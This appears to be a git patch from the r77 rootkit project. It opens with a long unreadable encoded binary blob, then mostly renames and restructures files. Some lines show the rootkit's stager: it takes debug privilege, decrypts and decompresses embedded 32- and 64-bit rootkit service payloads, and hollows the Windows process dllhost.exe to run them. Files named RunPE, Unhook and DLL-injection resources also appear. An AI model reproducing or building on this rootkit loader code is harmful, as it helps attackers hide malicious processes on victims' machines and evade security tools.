z+UmM|8)gq%^@|PN=1wNft)Yo40Gh_rEqofCm6Z8P3%^E3B=9vBUSr`qEG&JN`2QJL z%6R=??nJopA2^q*5sB6dmV9nOzAaZPyQ;aGmX?~Oxy3aN?fG!N-o=D(t*x)mwKX*~ zEy>H<12ZAj-_BUGv;>$>80!cs7~A( z*zz&9#&>?vGCqnIt&z<>O1l0}*Z*vVgndS0-JP!grSFq{61O^J>~{TCy8h>_t>I6) z{7*)JnLD@@T{h2amx>+(lCW@@?np{8@6nuht@$HBI; z)YXr?GR7<{E!H*)k8&P-CcfTgvtbVY{g2`EnCVee(8132!ut7bx;`i`^IU3X;QdeSQ@1M>81y>%Cq>H1nG z^P5bW(CO;&M!wy==ce%6^hFza{ZCh~p9uyR*hCHcnOjK1%;$_v)Zb`0-j5hNY;XsC znKBlce#O{jllhR?M7>SNle9{g`^uNLjSN_}W_j=lkd0r%^F&Q|@f}N|E8(i_mcw&TlVH{>9JyMe^T~J+Qk8UrPSP&&j{je=BmG)P3vT z1K&&dA~M}c{sv{5r^}2?OWuyxf8yKK>3#NlT5SFoYVG#sesLL1%JEXtaduBd_qCh1 z|5@Y3uXI_yX+4UZO8H!w{$jt^GY<-%eQHr{scEcTI6N_bHuE6q6XZRgWLZ_?8r}=g= z^Gx_{`u5HIdFEyxtQ%$d@(;r4{(HEwtNE;kP1|_=4el7DGi)<1`reMtmKUDSs(aCK z_4jAd{d1I3_4Ck`4DM+j0epgfr!k+S{|mh@kD$Nk86E>nLMPlO=y&^M5PIp*d$l-^ zE|%5ks(Xv|0AU|Rr`BjL8C=N2@##;YQ|MiE7NN)I!UgCDgN_jgamRlvbjcC+{c&0K z?EF9-cXFWWUJKNvZ=l--9V{2`l~vdNHlyx9SI*O?^8Fldjt|SKeTOP_>tuAk@BpD7 zv@AjI%mwIS$$Wi^yBS~eyP0zwKw`}u3wc=r;y)F!hVb% zv*o`J)Iql?HS&FQmZ2l&Uk{)QXa;(AK0ycC5OfKlXXnIo(E;-rx|)`AKl`IVy@KwX z`ILVH=(+}-Zkxe}jmTs1RCFMo1HI6{>3-zHs1?)D9Yv#B zi2kZypN_62E=RA}9^Fh&pi_~$IH`M9opVoCEnF3-Qx78#;2&R*Rj(b34juAb)DN9~ zQ_zuyZln3P2I|rKGwR?9^agH}RnyQh^*IkW?pTO!b9j30Z0@k5Q|UkG$>AcqI`cu^ zfV@lIlzZEwGU``1qlafRbaX94-_UaEV<~rSxG3@hI@5;KWYm2t(FwFeR;}oVzA9wy zMfB&qvlqH{j-l0}zvp=#nXIEc4-7*W68t{*RCGV`K;Ww@(fPPRR{ay*K|{uS@>pTbTRI<;OwFVf!6qI2vjbXe_8nW(EH(X4O-k5bN^ zM;)On?zy+n4fixUqxQ_GDf6js%De^b;ro9GRCjdyRGf=Gwe13RIP3KG$Fu7ED+86? z06w7~@Z3B+XOH5shtRRe1^UYAf%^AE^cG%T^+7%+zME0^P5@tx+@6O%#q$I8 zJo>K|3-516_u^=FUOqwZ5f|>a+Jn6|Xq|ikdfJ}LsPDp$9Zt`xlh6gXmO31C5qcJG zL$B1ZjJj&qK>cF@`T>!JGtUXs8rsP4ce3g(WPHZ?SvBHtrJlV$t1hL7*qb)<>dq+m zd^oF)x&WP0{O)x+GC^Ok@oMySEuc(8&~F6|Z|@VR{~kcEg3h$JUPNYZL?;~O+hr$Y z2mN0sG@vhkL00Wqjy}F0Q`YMqQ|LRc z_!wQ5wCyvNpj&Z&^!I(3ReeTe)i&_v=*wCJZ$HeazoHlGKICg6a`qzq(DYTbW7_{llx63>=%ZtN z{3W`Yo~2DU*9Pi!+Ry`=WmJ75`U5kxs}0b>b_?==OuhUdy7%@7)Jo!B`yKknuiz2k zPe-TVxSs6ATn7I~AqUh^EjpskLyj_spf3&?X-DVWe=9Sp4|O$aPjtf(Z})EKn?N?l zeZ)JYHR$kS4n1ojda00UGd(px71UlsI&Z^(nWz?5n(4ML1K6jx{5`AV< z4}l-}S6$9nLRwotOB=r=P*)vK|4I9P^DcCW^`TFuzdn(8r#wTS@;AnYR|7TX1>|ie zdKj}=bsqimo_}HIigGQ4KR0ccQC)u=sBQlhsPEDTzqmZB_NR`%q)v8zI;-A&KR}-> zeZ~ps!JvEq6%?fwy6XVm2#Z=(P6*o^LrUcE7+-h#dj z`a}O6w6FGz+W$DEmi+>my+2T2!jD}}qTiW}4m)(losP^_+^y7a%cvJ*cNzNcKBqiq z(|3PL-ynL!*3t*ubu{`A;YaJn=!au$d+d+sn!P%!md;0)+_8cB!z&qe`9ZW#Zr(MI zLPndiYGd;F5yC=R;Z5>m>Ts z8R%-A$T)K(?R-4?2KPb#AGU>O7d^t=Kg#yN zKeB3%5$MR<2R=dbe~{~zNlG<9(*XMSJ(15Nzs#z~&PLzr9`plw`pehQ2@4JXfw$XE zLf`4<$k6%HFHwhohqj&RALzpe4rBh+m2qnq@~0o)VsqNm8g%U5n^C_XgziOT`WR$p z<*zboI(^N+iOfl168(PMwLsSwj;Xt_NQz|1!`;B?_pP?M~43YogY9e_1JPH zx-)k`*JqA?VNsyo|A2bijyB17@#Kk=li}~;1JG;x6t^Cc4f&IMwW=Ilh5Ysz3y(HL zf8*iEF29E_Lw*@A)JopnAwNCtRqF5j?(-75ZJ9ImP#GomR8)C}f9YS!fs_L&2T~5C z9QgVi=>1SdX0$|OT&iYF*@n4RH}%z5T|j;HmE6)t*ZZc%&EQ*f0?422FSYS&_9Zf9 zL&EQ%EJIqd*W~tZB<;SchYl|>{!wd%DPLM%UIW}KTUZ^TbQ0;ZCX8TS{>21sJ)@Be%{iyd@hk(+=CQN zndPm$(C5x{djZR=tG2#zeiLD2AH5GabdAk(ILV*sM6iJlE8%56P?QUW<#C+z`J?M8 zD3iQ}7CAF!_DdH2Uo3qoT&}r&UPFCtVHTceSkCX*w53k8Y>{`k$^3_E-zeV$Mwe2mrMKwn|f0lhxcKa5(p*B~`1&rpJ1$lTU|Z(CHD@(UK*+&?xEY@H#%aM2YW**$OxrW@j&q`1|PyEal#XU!j++vyk3h1-DG{ z%WNpZItq(a9F%8r5_3F~MPSi+CM3B3YKJ|k^-o%Sh`CvovHe2MZAoWzqf zB%jeboycGCzW*4VZlX}H zoF8_)4Xg8|Y}*xY=UOL#?pNhY_Y;}2NyK$@PnL9+N!r=|<>b2+j;+^q<6?X86X+r; z^f`=-3uxp7Hg~}U?xx`p+J6e^_0aH0O%qiS>r7JfAI zEw!8%f68ADb-c5wj*sk($jez1}t%;T$0x!8%Jcq<<(^4 zxV#PrmhgUFM|tsFUadBs%WEF6#L*osd9~X(BCjs5B{q)BYZkDC_w!on#dCT6z{YcV z)d5Q!;j@(MI2&hcAeYw(Hjc|{F0h36^E%Os=khw)#tUWdG$VVbTKt`~yMU1nYdO=$ z<))9@cjEY}+_Z^RxtWz!6LaIIPpg_aeQIvvw90W)C(5`fVS^6C?q7LeZd~QG33I1R zsM<$K_%0oWpD=6uj9gXaWTn&Y-eK4|l~boo$W5ABIe8XxeX#1zJxLWvTRffebW{Qp zhn{Kf$n^%J+tPDN(YfT>t$a&=(JfPiUsI+RWmf^OlHq1m!Kccp)2B_$&6z%R_WlzM z4`TdE#+fvI=J<)Z+0&*}aO}g!gQPYu=w3=Y2uWy1J6AFB%HY>w85(ndrB2yq9m`{l3M=oT?cVVd~UzmE-qA zQ0GjUNx|k+m?>FtKeCbbaIVc`XvuVEOrJhAOh^D?n*Q`W8@I&TK=PeBv2xn%8M(lrYeIkqwKEqy9za*_Gp~rp&3VngR=??M^(f z%H&*#w|W1>rdMKJ;`49HG?CZw6Qi;?t~(!_=1&vlxfD2Ap35W*<+CB)rW zRo1rEFV@$@xpmT(Kib@{T!G&}HHi!44fV$uUzeiR%l$L_lVx>ziQneT0HuxeRAs?R zVE0$9N-(6bCL>)%hBS8z}0nLz!1e4y^Um$lL}8Fd)>PIIJ>bJ^ z0`JD1EYiK6`&V)&XAABPjmQV;`03nB;%?qMuXB%wJDf|ow{z1rfjLKEk(1g#gbC?i z%7Om@4y5=0)BFGF{r~j-e|rBvz5k!y|4;A#r}zKU`~Uv~)6g`_lmjUTQVygX_`l47 z^!`6qh6^t2d*-$5J&N@Hf5PZkdjDVF?{fEy)BFF?{dKuFB{yHw`~SiR-nPqKEACV` z1G#(j>HYuo{=d14m)`$R@Bf>ABEA1#`UOLJ|G(hfKzje*-eFGf|Cf9>?cc+9xBLrl zjXNK^)=BUGo4fw${r~j-|3U3p^#^oL9dRZ1pSD6D-!53MWYn(9(D!!}_oN=Boj!)W!)54z+KoF~w+HI1 zJ+kV-Q_0iff{}@`j7sbQPPk+Z740IyB zbS3x9y9DY%9uZ!3B0AIFLH`r_)z+bBtMR^!`UrhigII9vjy|SAmFUq!PueteC*A#r ztm@01u4&a-)lT|rPUnu+JoFt7KsQ|j_p;ENHuOsLDWT)+pM!bN@@MowG@p~i^ltux(%IC z@0^@bXQ4YO+YMcQ=$7mKtE{>iJxgC~i9V{6(bF{;J%95Ei%zCNz0r|`4#M5hWAOy^ z{{#07?giX)xV8#(%%MxJX7_%&R=50z?sLaF0lVI4~y zuZ8ZtR-x=>XMZ6omC!EM8Od*?1$wTj296Lx{un`G2d!VJW3u=wL7k22gQ zxB)na-+}M_a5Heza88yyncO$r^b)1g`~T_v|MdQUdjCJY|DWFfPw)Sy_y5!T|FXZA{-qrFe~$zH`Tv%z zB^wSz7kxti-?4pIQ{e_e{&Ifh4;yHrfmV$lQ$3@lX+cZPqVh@g4f)pc9gZG7YRBri z^^J8+OIpkKt8Z(qt{7H5rLnf5y)Mt^&|yO>MvoXZeCV+1c9i;6*EY4}`5n4Yt?R40 z4d~0B9!eJ!YN9z`?KYslg}VaJ`4;kQU0BnSud80rUSC(2pHHsnE0KKmBcCiz3We^t zZ(g=V)l2Fd8^dym{u$A6`0-FvF42i1aQ|Hme1(O7GS|SXEWFafH(U7Uz~2h*HGS=^ z`Id+Wx06S2+}#@+8t$_2lfVam8$9vqJGZ2@t**X_%nkn^ATOzVp1J9If6T(KW(@p< zg+I3N%N9O|Jprk|w=Mi0Z_&OL{s^s(L@Og7lE=n4)Lnm@ve??z(pob=AJxMM6kf@F zf<4fv@~xC*QFYzC1q<^H%~2kc$zvdS47crUiiJ`At@*jXg)s}F;aL`5YT*Md{6`BP z1}yUYNQDVsXW^aLdy@J&!ot<#4BTwtcdUP#gR@a#jLu;GS^CEekOqyFm)1g+TPPg!B?3alDl@@*tMMwf)W8pOx zzQe+s*!X`2mNH(?p3YE}(KK!XoXgc9Elv;Rf_z&}tFg@0w6xSL%`L8JXwPG}%!Kb^ z!nfAe*XP=r8k&}1VYIkkdvh~>JK1=fM)^nv-UX#xb4y;#Sc;t;lSjFPtzAgQ^>wui zkIaeg8tmn1dS~D_rFG&_?KKTrub#sn0KSO~YucJx_S#E@Y0U>eGhb6zS$kA_eM^3{ z^p`Fl=QpisQXc&|F~1{-H@5|QvNQAO-)Y4&iWmBY5hK6GczzfTE%dX|Vty@&{O}Cv z4E>^rAwL$!^P~Sad~$djC9I=k68ZT22>o0nk5|XX^U<~d9Uq;ajTZAeDUlzZVYx!T zC}LPHS2r_jmgstMcWS-Gal>Ep{eD_@dtFsv#|Vvr0gyYS3c0X zYz`mNZ#>pHS^o=V&KVKU=`I)%N9FJQTvM}H=53X1?B#xKlA{l;O)6v=(5fb@5oA8sEF0ZllJ-NkU zyf81Do=dLQr#;~pEAxw*$BSECM8A)C4ZqN*kaia(#-~JHnoo}Rt4+CTT|}QBNk56` z%KT3gZ%LBBaeSP=@0vJ`VI;2&Cj2!0F0XYu-uzHJ9PM#@Jg>N)P#(#=^>d_$@)W~M zavpu3TG~S*yfzfr`Zs=&3<@5xu;?g%QJRUogh{#b*gPygUY@w0DUXZyMVvOxJLmVM z@v99p^U9R)i^)Y7L!*nQZDYDL6THxJ?dqzBiC4he7~b;M#p$K_WTLcEPg~gjV+{CN zZFDaSrsf+Lv@OI^^pW|NO6B~&SJZzldT&iXxJl?g@#r}+;MTO|XSLK;O1-);LyCu) zD`8wdeZnv<6|vb}8IJ$k7x!jN}T}p)UC=B`5Hw-IQuU+j$eBH2!zvSi0w`=G> zXNDeRToPXWRTK{stG`iUn92FJR+mUb$LJ#dewjB7{U;v1PfcT8L!RYy!?^rH7Shw& z8yYG-{%pOTu#&DDA2%-uJH2gTzGYHF&4N}*GhP3u>woEoWc_nH{dl_m_x7gJ^}kBj z|J<2K*Z=AI-_G}H42NjdcB=uK%O`8?&zvU;i&3T9GL$dp^gtY1Mt$sy~k3 z^M(ocYAx2az>0>&fDLe>@{8kR-VVrJTHa6NxO%`{F0q%$J$D>WhxJ+7Abz*Q z$>ssqx3wKyd0QZPaHfs_L& f2T~5C97s8kav //------------------------------------------------------------------------------ -namespace InstallStager.Properties { +namespace Stager.Properties { using System; @@ -19,7 +19,7 @@ namespace InstallStager.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -39,7 +39,7 @@ internal Resources() { internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("InstallStager.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Stager.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -63,9 +63,9 @@ internal Resources() { ///

    /// Looks up a localized resource of type System.Byte[]. /// - internal static byte[] InstallService32 { + internal static byte[] Service32 { get { - object obj = ResourceManager.GetObject("InstallService32", resourceCulture); + object obj = ResourceManager.GetObject("Service32", resourceCulture); return ((byte[])(obj)); } } @@ -73,9 +73,9 @@ internal static byte[] InstallService32 { /// /// Looks up a localized resource of type System.Byte[]. /// - internal static byte[] InstallService64 { + internal static byte[] Service64 { get { - object obj = ResourceManager.GetObject("InstallService64", resourceCulture); + object obj = ResourceManager.GetObject("Service64", resourceCulture); return ((byte[])(obj)); } } diff --git a/vs/InstallStager/Properties/Resources.resx b/Stager/Properties/Resources.resx similarity index 89% rename from vs/InstallStager/Properties/Resources.resx rename to Stager/Properties/Resources.resx index 3f7d266..3ad3432 100644 --- a/vs/InstallStager/Properties/Resources.resx +++ b/Stager/Properties/Resources.resx @@ -112,16 +112,16 @@ 2.0 - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\Resources\InstallService32.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Service32.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\InstallService64.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\Service64.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 \ No newline at end of file diff --git a/vs/InstallStager/Resources/.gitkeep b/Stager/Resources/.gitkeep similarity index 100% rename from vs/InstallStager/Resources/.gitkeep rename to Stager/Resources/.gitkeep diff --git a/src/InstallStager/RunPE.cs b/Stager/RunPE.cs similarity index 100% rename from src/InstallStager/RunPE.cs rename to Stager/RunPE.cs diff --git a/src/InstallStager/InstallStager.cs b/Stager/Stager.cs similarity index 94% rename from src/InstallStager/InstallStager.cs rename to Stager/Stager.cs index 5e37aa8..7306641 100644 --- a/src/InstallStager/InstallStager.cs +++ b/Stager/Stager.cs @@ -1,4 +1,4 @@ -using InstallStager.Properties; +using Stager.Properties; using System; using System.Diagnostics; using System.IO; @@ -30,8 +30,8 @@ public static void Main() Process.EnterDebugMode(); // Get r77 service executable. - byte[] payload32 = Decompress(Decrypt(Resources.InstallService32)); - byte[] payload64 = Decompress(Decrypt(Resources.InstallService64)); + byte[] payload32 = Decompress(Decrypt(Resources.Service32)); + byte[] payload64 = Decompress(Decrypt(Resources.Service64)); // Executable to be used for process hollowing. string path = @"C:\Windows\System32\dllhost.exe"; diff --git a/vs/InstallStager/InstallStager.csproj b/Stager/Stager.csproj similarity index 80% rename from vs/InstallStager/InstallStager.csproj rename to Stager/Stager.csproj index 1ea0f55..b6bd08c 100644 --- a/vs/InstallStager/InstallStager.csproj +++ b/Stager/Stager.csproj @@ -6,8 +6,8 @@ AnyCPU {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} WinExe - InstallStager - InstallStager + Stager + Stager v3.5 512 true @@ -41,9 +41,6 @@ - - - ResXFileCodeGenerator @@ -51,26 +48,21 @@ - - Helper.cs - - - InstallStager.cs - - - RunPE.cs - - - Unhook.cs - + + True True Resources.resx + + + + + - + diff --git a/src/InstallStager/Unhook.cs b/Stager/Unhook.cs similarity index 100% rename from src/InstallStager/Unhook.cs rename to Stager/Unhook.cs diff --git a/vs/TestConsole/App.xaml b/TestConsole/App.xaml similarity index 100% rename from vs/TestConsole/App.xaml rename to TestConsole/App.xaml diff --git a/vs/TestConsole/App.xaml.cs b/TestConsole/App.xaml.cs similarity index 100% rename from vs/TestConsole/App.xaml.cs rename to TestConsole/App.xaml.cs diff --git a/vs/TestConsole/Controller/AppResources.cs b/TestConsole/Controller/AppResources.cs similarity index 100% rename from vs/TestConsole/Controller/AppResources.cs rename to TestConsole/Controller/AppResources.cs diff --git a/vs/TestConsole/Controller/ControlCode.cs b/TestConsole/Controller/ControlCode.cs similarity index 100% rename from vs/TestConsole/Controller/ControlCode.cs rename to TestConsole/Controller/ControlCode.cs diff --git a/vs/TestConsole/Controller/ControlPipe.cs b/TestConsole/Controller/ControlPipe.cs similarity index 100% rename from vs/TestConsole/Controller/ControlPipe.cs rename to TestConsole/Controller/ControlPipe.cs diff --git a/vs/TestConsole/Controller/ProcessList.cs b/TestConsole/Controller/ProcessList.cs similarity index 100% rename from vs/TestConsole/Controller/ProcessList.cs rename to TestConsole/Controller/ProcessList.cs diff --git a/vs/TestConsole/Model/Logging/LogDetailsItem.cs b/TestConsole/Model/Logging/LogDetailsItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogDetailsItem.cs rename to TestConsole/Model/Logging/LogDetailsItem.cs diff --git a/vs/TestConsole/Model/Logging/LogFileItem.cs b/TestConsole/Model/Logging/LogFileItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogFileItem.cs rename to TestConsole/Model/Logging/LogFileItem.cs diff --git a/vs/TestConsole/Model/Logging/LogItem.cs b/TestConsole/Model/Logging/LogItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogItem.cs rename to TestConsole/Model/Logging/LogItem.cs diff --git a/vs/TestConsole/Model/Logging/LogLinkItem.cs b/TestConsole/Model/Logging/LogLinkItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogLinkItem.cs rename to TestConsole/Model/Logging/LogLinkItem.cs diff --git a/vs/TestConsole/Model/Logging/LogMessage.cs b/TestConsole/Model/Logging/LogMessage.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogMessage.cs rename to TestConsole/Model/Logging/LogMessage.cs diff --git a/vs/TestConsole/Model/Logging/LogMessageType.cs b/TestConsole/Model/Logging/LogMessageType.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogMessageType.cs rename to TestConsole/Model/Logging/LogMessageType.cs diff --git a/vs/TestConsole/Model/Logging/LogTextItem.cs b/TestConsole/Model/Logging/LogTextItem.cs similarity index 100% rename from vs/TestConsole/Model/Logging/LogTextItem.cs rename to TestConsole/Model/Logging/LogTextItem.cs diff --git a/vs/TestConsole/Model/ProcessView.cs b/TestConsole/Model/ProcessView.cs similarity index 100% rename from vs/TestConsole/Model/ProcessView.cs rename to TestConsole/Model/ProcessView.cs diff --git a/vs/TestConsole/Properties/AssemblyInfo.cs b/TestConsole/Properties/AssemblyInfo.cs similarity index 100% rename from vs/TestConsole/Properties/AssemblyInfo.cs rename to TestConsole/Properties/AssemblyInfo.cs diff --git a/vs/TestConsole/Resources/AboutBanner.png b/TestConsole/Resources/AboutBanner.png similarity index 100% rename from vs/TestConsole/Resources/AboutBanner.png rename to TestConsole/Resources/AboutBanner.png diff --git a/vs/TestConsole/Resources/AboutGitHub16.png b/TestConsole/Resources/AboutGitHub16.png similarity index 100% rename from vs/TestConsole/Resources/AboutGitHub16.png rename to TestConsole/Resources/AboutGitHub16.png diff --git a/vs/TestConsole/Resources/AboutTitle.png b/TestConsole/Resources/AboutTitle.png similarity index 100% rename from vs/TestConsole/Resources/AboutTitle.png rename to TestConsole/Resources/AboutTitle.png diff --git a/vs/TestConsole/Resources/AboutWebsite16.png b/TestConsole/Resources/AboutWebsite16.png similarity index 100% rename from vs/TestConsole/Resources/AboutWebsite16.png rename to TestConsole/Resources/AboutWebsite16.png diff --git a/vs/TestConsole/Resources/ControlPipe16.png b/TestConsole/Resources/ControlPipe16.png similarity index 100% rename from vs/TestConsole/Resources/ControlPipe16.png rename to TestConsole/Resources/ControlPipe16.png diff --git a/vs/TestConsole/Resources/DllDetach16.png b/TestConsole/Resources/DllDetach16.png similarity index 100% rename from vs/TestConsole/Resources/DllDetach16.png rename to TestConsole/Resources/DllDetach16.png diff --git a/vs/TestConsole/Resources/DllInject16.png b/TestConsole/Resources/DllInject16.png similarity index 100% rename from vs/TestConsole/Resources/DllInject16.png rename to TestConsole/Resources/DllInject16.png diff --git a/vs/TestConsole/Resources/DllInjected16.png b/TestConsole/Resources/DllInjected16.png similarity index 100% rename from vs/TestConsole/Resources/DllInjected16.png rename to TestConsole/Resources/DllInjected16.png diff --git a/vs/TestConsole/Resources/Error16.png b/TestConsole/Resources/Error16.png similarity index 100% rename from vs/TestConsole/Resources/Error16.png rename to TestConsole/Resources/Error16.png diff --git a/vs/TestConsole/Resources/Example16.png b/TestConsole/Resources/Example16.png similarity index 100% rename from vs/TestConsole/Resources/Example16.png rename to TestConsole/Resources/Example16.png diff --git a/vs/TestConsole/Resources/Exe16.png b/TestConsole/Resources/Exe16.png similarity index 100% rename from vs/TestConsole/Resources/Exe16.png rename to TestConsole/Resources/Exe16.png diff --git a/vs/TestConsole/Resources/ExeUac16.png b/TestConsole/Resources/ExeUac16.png similarity index 100% rename from vs/TestConsole/Resources/ExeUac16.png rename to TestConsole/Resources/ExeUac16.png diff --git a/vs/TestConsole/Resources/Hidden16.png b/TestConsole/Resources/Hidden16.png similarity index 100% rename from vs/TestConsole/Resources/Hidden16.png rename to TestConsole/Resources/Hidden16.png diff --git a/vs/TestConsole/Resources/Information16.png b/TestConsole/Resources/Information16.png similarity index 100% rename from vs/TestConsole/Resources/Information16.png rename to TestConsole/Resources/Information16.png diff --git a/vs/TestConsole/Resources/Pdf16.png b/TestConsole/Resources/Pdf16.png similarity index 100% rename from vs/TestConsole/Resources/Pdf16.png rename to TestConsole/Resources/Pdf16.png diff --git a/vs/TestConsole/Resources/Processes16.png b/TestConsole/Resources/Processes16.png similarity index 100% rename from vs/TestConsole/Resources/Processes16.png rename to TestConsole/Resources/Processes16.png diff --git a/vs/TestConsole/Resources/R77Helper16.png b/TestConsole/Resources/R77Helper16.png similarity index 100% rename from vs/TestConsole/Resources/R77Helper16.png rename to TestConsole/Resources/R77Helper16.png diff --git a/vs/TestConsole/Resources/R77Service16.png b/TestConsole/Resources/R77Service16.png similarity index 100% rename from vs/TestConsole/Resources/R77Service16.png rename to TestConsole/Resources/R77Service16.png diff --git a/vs/TestConsole/Resources/Uac16.png b/TestConsole/Resources/Uac16.png similarity index 100% rename from vs/TestConsole/Resources/Uac16.png rename to TestConsole/Resources/Uac16.png diff --git a/vs/TestConsole/Resources/Unhidden16.png b/TestConsole/Resources/Unhidden16.png similarity index 100% rename from vs/TestConsole/Resources/Unhidden16.png rename to TestConsole/Resources/Unhidden16.png diff --git a/vs/TestConsole/Resources/Warning16.png b/TestConsole/Resources/Warning16.png similarity index 100% rename from vs/TestConsole/Resources/Warning16.png rename to TestConsole/Resources/Warning16.png diff --git a/vs/TestConsole/TestConsole.csproj b/TestConsole/TestConsole.csproj similarity index 86% rename from vs/TestConsole/TestConsole.csproj rename to TestConsole/TestConsole.csproj index a6c2b20..5e62c31 100644 --- a/vs/TestConsole/TestConsole.csproj +++ b/TestConsole/TestConsole.csproj @@ -42,13 +42,11 @@ app.manifest - - False - ..\..\SlnBin\BytecodeApi.dll + + ..\SlnBin\BytecodeApi.dll - - False - ..\..\SlnBin\BytecodeApi.UI.dll + + ..\SlnBin\BytecodeApi.UI.dll @@ -66,7 +64,7 @@ MSBuild:Compile Designer - + Properties\GlobalAssemblyInfo.cs @@ -170,14 +168,14 @@ "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetDir)BytecodeApi.dll" "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetDir)BytecodeApi.UI.dll" "$(SolutionDir)..\$Build" -xcopy /Y "$(SolutionDir)..\$Build\Helper32.exe" "$(TargetDir)" -xcopy /Y "$(SolutionDir)..\$Build\Helper64.exe" "$(TargetDir)" -xcopy /Y "$(SolutionDir)..\$Build\r77-x86.dll" "$(TargetDir)" -xcopy /Y "$(SolutionDir)..\$Build\r77-x64.dll" "$(TargetDir)" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" +xcopy /Y "$(TargetDir)BytecodeApi.dll" "$(SolutionDir)$Build" +xcopy /Y "$(TargetDir)BytecodeApi.UI.dll" "$(SolutionDir)$Build" +xcopy /Y "$(SolutionDir)$Build\Helper32.exe" "$(TargetDir)" +xcopy /Y "$(SolutionDir)$Build\Helper64.exe" "$(TargetDir)" +xcopy /Y "$(SolutionDir)$Build\r77-x86.dll" "$(TargetDir)" +xcopy /Y "$(SolutionDir)$Build\r77-x64.dll" "$(TargetDir)" diff --git a/vs/TestConsole/TestConsole.ico b/TestConsole/TestConsole.ico similarity index 100% rename from vs/TestConsole/TestConsole.ico rename to TestConsole/TestConsole.ico diff --git a/vs/TestConsole/ViewModels/AboutPopupViewModel.cs b/TestConsole/ViewModels/AboutPopupViewModel.cs similarity index 100% rename from vs/TestConsole/ViewModels/AboutPopupViewModel.cs rename to TestConsole/ViewModels/AboutPopupViewModel.cs diff --git a/vs/TestConsole/ViewModels/MainWindowViewModel.cs b/TestConsole/ViewModels/MainWindowViewModel.cs similarity index 100% rename from vs/TestConsole/ViewModels/MainWindowViewModel.cs rename to TestConsole/ViewModels/MainWindowViewModel.cs diff --git a/vs/TestConsole/Views/AboutPopup.xaml b/TestConsole/Views/AboutPopup.xaml similarity index 100% rename from vs/TestConsole/Views/AboutPopup.xaml rename to TestConsole/Views/AboutPopup.xaml diff --git a/vs/TestConsole/Views/AboutPopup.xaml.cs b/TestConsole/Views/AboutPopup.xaml.cs similarity index 100% rename from vs/TestConsole/Views/AboutPopup.xaml.cs rename to TestConsole/Views/AboutPopup.xaml.cs diff --git a/vs/TestConsole/Views/MainWindow.xaml b/TestConsole/Views/MainWindow.xaml similarity index 100% rename from vs/TestConsole/Views/MainWindow.xaml rename to TestConsole/Views/MainWindow.xaml diff --git a/vs/TestConsole/Views/MainWindow.xaml.cs b/TestConsole/Views/MainWindow.xaml.cs similarity index 100% rename from vs/TestConsole/Views/MainWindow.xaml.cs rename to TestConsole/Views/MainWindow.xaml.cs diff --git a/vs/TestConsole/app.manifest b/TestConsole/app.manifest similarity index 100% rename from vs/TestConsole/app.manifest rename to TestConsole/app.manifest diff --git a/vs/Uninstall/Resource.rc b/Uninstall/Resource.rc similarity index 100% rename from vs/Uninstall/Resource.rc rename to Uninstall/Resource.rc diff --git a/vs/Uninstall/Resources/.gitkeep b/Uninstall/Resources/.gitkeep similarity index 100% rename from vs/Uninstall/Resources/.gitkeep rename to Uninstall/Resources/.gitkeep diff --git a/src/Uninstall/Uninstall.cpp b/Uninstall/Uninstall.c similarity index 85% rename from src/Uninstall/Uninstall.cpp rename to Uninstall/Uninstall.c index a15de67..f3bcc00 100644 --- a/src/Uninstall/Uninstall.cpp +++ b/Uninstall/Uninstall.c @@ -1,8 +1,13 @@ -#include "Uninstall.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#define CUSTOM_ENTRY +#include "resource.h" +#include "r77def.h" +#include "r77win.h" +#include "r77config.h" +#include "r77process.h" + +int main() { - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); // Delete the stager executable from the 32-bit view of the registry. HKEY key; diff --git a/vs/Uninstall/Uninstall.vcxproj b/Uninstall/Uninstall.vcxproj similarity index 77% rename from vs/Uninstall/Uninstall.vcxproj rename to Uninstall/Uninstall.vcxproj index 62a5e33..6b6fc0a 100644 --- 